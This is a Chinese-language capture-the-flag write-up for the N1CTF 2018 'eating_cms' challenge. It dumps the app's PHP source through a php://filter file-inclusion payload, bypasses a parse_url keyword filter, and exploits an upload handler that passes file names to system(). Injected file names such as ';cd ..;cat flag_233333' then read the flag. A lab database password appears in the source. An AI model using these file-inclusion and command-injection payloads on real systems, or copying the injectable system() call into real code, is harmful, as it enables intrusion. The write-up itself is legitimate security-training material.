[N1CTF 2018]eating_cms 1
信息收集，文件上传，rce，代码审计
打开之后是一个登录页面，同时他的url是login，呢么第一反应应该是看看有没有register.php发现是有的,..
但是admin是注册不了的，呢么我们先随机注册一个尝试看看能不能更改权限，
登陆上之后发现是没有session的也就是目前没办法切换admin账号，但是url可以看出，这里可能存在文件包含之类的，
测试之后发现是有文件包含在里的用伪协议读取
/user.php?page=php://filter/convert.base64-encode/resource=index
index.php
<?php
require_once "function.php";
if(isset($_SESSION['login'] )){
Header("Location: user.php?page=info");
}
else{
include "templates/index.html";
}
?
function.php
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}
function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}
function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}
function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username_which_you_do_not_know];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
return true;
} else {
return false;
}
return;
}
function updateadmin($level,$user)
{
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);
if ($res == 1) {
return true;
} else {
return false;
}
return;
}
function register($user, $pass)
{
global $mysqli;
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
$res = sql_query($sql);
return $mysqli->insert_id;
}
function logout()
{
session_destroy();
Header("Location: index.php");
}
?>
config.php
<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){
echo "no sql connection".mysqli_connect_error();
$mysqli=null;
die();
}
?
hacker.php
<?php
include("templates/hacker.html");
?>
然后这里不难发现是由flag的信息的，
也就是说我们可能要去读取呢个和flag有关的文件，但是这里有个parse_url() parse_str()这两个函数这个我也查到过相关资料，这里就直接给大家绕过方法
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
可以发现读到了flag相关文件
ffffllllaaaaggg.php
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}else {
echo "you can find sth in m4aaannngggeee";
}
?>
m4aaannngggeee.php
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/upload.html";
?>
然后发现给我们了一个upload的网页，我们尝试访问一下
发现是有一个文件上传的
这样的话我们就可以去尝试上传文件
可以在报错中发现这是有一个php文件的我们尝试去读取他的源码
和刚刚的方法是一样的
upllloadddd.php
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file！");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>
这里就有个很明显的漏洞了
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
发现他会对我们的文件名进行命令执行，然后进行输出可以看到他是对前后进行拼接的，如果我们在这里传入；给分割开，呢么我们就相当于拿到了shell
但是在这直接上传文件发现是假的，呢既然这样的话呢我们不妨尝试去url一下我们之前的文件发现manager有东西
可能真正的位置在这里
继续尝试上传
;ls
发现是爆装备了
之后我们尝试ls /发现被绊了ls ../也不行，呢么我们只能先进行目录穿越了
;cd ..;ls
;cd ..;cat flag_233333
得到flag
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